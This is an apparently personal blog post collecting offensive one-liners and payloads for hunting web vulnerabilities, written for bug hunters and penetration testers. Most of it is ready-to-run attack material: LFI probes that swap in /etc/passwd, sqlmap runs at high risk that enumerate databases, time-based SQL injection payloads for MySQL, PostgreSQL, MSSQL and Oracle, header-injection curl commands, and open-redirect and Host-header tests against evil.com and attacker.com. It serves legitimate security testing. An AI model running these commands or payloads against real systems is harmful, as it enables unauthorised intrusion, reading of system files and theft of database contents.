One Liner and Automated Tools For Hunting Collections

Some of my One Liner and Automated tools collections

Many experienced and penetration testers, bug hunter or other people that work in offensive security use well-crafted one-liners to automate specific parts of their workflow — from passive recon to vulnerability detection.

In this post I’ll share some collections of tools and one-liner payloads designed to automate the discovery of common web vulnerabilities such as XSS, SQLi, SSRF, LFI, open redirect, idor, keys, secrets, etc. Instead of building full frameworks, these short commands combine widely-used utilities like gf, httpx, ffuf, and gau to produce fast, repeatable, and high-signal results — often with a single line of code.


One Liner to find LFI

cat targets.txt | (gau || hakrawler || waybackurls || katana) |  grep "=" |  dedupe | httpx -silent -paths lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:"
waybackurls king.ph | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

One Liner to find SQLi with tools

| For single URL:
Using lostsec

paramspider -d yourtarget.com -o urls.txt

cat output/urls.txt | sed 's/FUZZ//g' > final.txt

# run the tool
python3 lostsec.py -l final.txt -p payloads/xor.txt -t 5
echo yourtarget.com | gau --mc 200 | urldedupe > urls.txt

cat urls.txt | grep -E ".php|.asp|.aspx|.cfm|.jsp" | grep '=' | sort > output.txt

cat output.txt | sed 's/=.*/=/' > final.txt

# now run the tool
python3 lostsec.py -l final.txt -p payloads/xor.txt -t 5
echo yourtarget.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | urldedupe > output.txt

katana -u yourtarget.com -d 5 | grep '=' | urldedupe | anew output.txt

cat output.txt | sed 's/=.*/=/' > final.txt

# run the tool
python3 lostsec.py -l final.txt -p payloads/xor.txt -t 5

With SQLMap to find SQLi

| For Single domain:

subfinder -d example.com -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'

| find URLs with parameters (common SQLi entry points):

echo https://example.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep "=" > urls.txt

| You can also used katana

echo https://example.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" > urls2.txt

| Using gf tool cleaned URLS with prone to SQL

cat urls1.txt urls2.txt | gf sqli | uro > cleaned-sql.txt

| Now you can run the sqlmap againts the URLS

sqlmap -m cleaned-sql.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs
gf sqli > cleaned-sql.txt; sqlmap -m cleaned-sql.txt --batch --dbs --risk 2 --level 5 --random-agent

Sample SQLi Payloads

| MySQL

-- Basic time-based delay
SELECT SLEEP(10);

-- Inline injection with logic
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

-- Using benchmark for delay (CPU-based)
1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(FLOOR(RAND()*2),(SELECT SLEEP(5))) AS x FROM information_schema.tables GROUP BY x) y);

-- Boolean logic delay
' OR IF(1=1, SLEEP(10), 0)-- -

| PostgreSQL

-- Standard time-based delay
SELECT pg_sleep(10);

-- Conditional delay with string concatenation
' OR (CASE WHEN ((CLOCK_TIMESTAMP() - NOW()) < interval '0:0:10')
THEN (SELECT '1' || pg_sleep(10)) ELSE '0' END)='1

-- More concise version
' OR 1=1; SELECT pg_sleep(5);--

-- Using random() for variability
' OR (SELECT CASE WHEN (random() < 0.5) THEN pg_sleep(5) ELSE pg_sleep(0) END);--

| MsSQL

-- Basic delay
WAITFOR DELAY '00:00:10';

-- Inline SQLi payload
'; WAITFOR DELAY '00:00:05'; --

-- Conditional delay
IF (1=1) WAITFOR DELAY '0:0:10';

-- Using IF EXISTS for more realism
'; IF EXISTS (SELECT * FROM users) WAITFOR DELAY '00:00:07';--

| Oracle

-- Basic time delay using DBMS_PIPE
BEGIN DBMS_PIPE.RECEIVE_MESSAGE('a',10); END;

-- SQLi inline payload
' OR 1=1; BEGIN DBMS_PIPE.RECEIVE_MESSAGE('a',10); END;--

-- Conditional check with delay
DECLARE v INTEGER; BEGIN IF 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',10); END IF; END;

Header-Based SQLi

User-Agent: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'"

One Liner to detect SQLi via Headers

time curl -s -H "User-Agent: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z" "https://yourtarget.com/vulnerable-endpoint"

time curl -s -H "X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z" "https://yourtarget.com/vulnerable-endpoint"

time curl -s -H "Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'\"" "https://yourtarget.com/vulnerable-endpoint"

time curl "https://yourtarget.com/page.php?id=if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/"

One Liner to detect Host Header Injection

| Using Waybackurls and Gau

cat collections.txt | while read url; do curl -H "Host: attacker.com" "$url"; done

| Using FFuF

ffuf -u https://target.com -H "Host: FUZZ" -w hosts.txt

Detect Open Redirect vulnerabilities with one-liner

| When you have URLS collected:

cat urls.txt | gau --o finalurls1.txt
cat urls.txt | katana -d 2 -o finalurls2.txt
cat urls.txt | urlfinder -o finalurls3.txt
cat urls.txt | hakrawler > finalurls4.txt

| Merge all the URLS collected:

cat urls1.txt urls2.txt urls3.txt | uro | sort -u | tee final.txt

| Now you can use filters to find Redirect Parameters

cat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login\?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txt

| Find Redirect Parameters with gf tool

cat final.txt | gf redirect | uro | sort -u | tee redirect_params.txt

Detecting Open Redirect with httpx-toolkit

cat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

With custom list of Open Redirects Payloads

cat redirect_params.txt | while read url; do cat path/to/wordlist.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Using gau and gf

echo target.com -all | gau | gf redirect | uro | while read url; do cat path/to/wordlist.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Using curl to detect Open Redirect

cat urls.txt | qsreplace "https://evil.com" | xargs -I {} curl -s -o /dev/null -w "%{url_effective} -> %{redirect_url}\n" {}

Finding XSS with One-Liner

Detect URLs with parameters

echo example.com | gau | gf xss | uro | Gxss | kxss | tee xss_urls.txt

| Cleaning the results

cat xss_urls.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > finalurls.txt

| Run open redirect tool for automation:

Reading .js file to find RXSS and Open Redirect with linkfinder

cat js.txt | while read url; do echo "Processing URL: $url" >> link-output.txt
python ~/path/to/your/linkfinder.py -d -i $url -o cli >> link-output.txt
echo "═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═━═" >> link-output.txt
done

There are many payloads, tools, and one-liner commands available on the internet, but I haven’t tried them all yet. In this post, I will continue to update it’ every time I discover new payloads, tools, or one-liners for detecting vulnerabilities.


If you liked my article please leave a respect on my at HackTheBox Profile

Payas0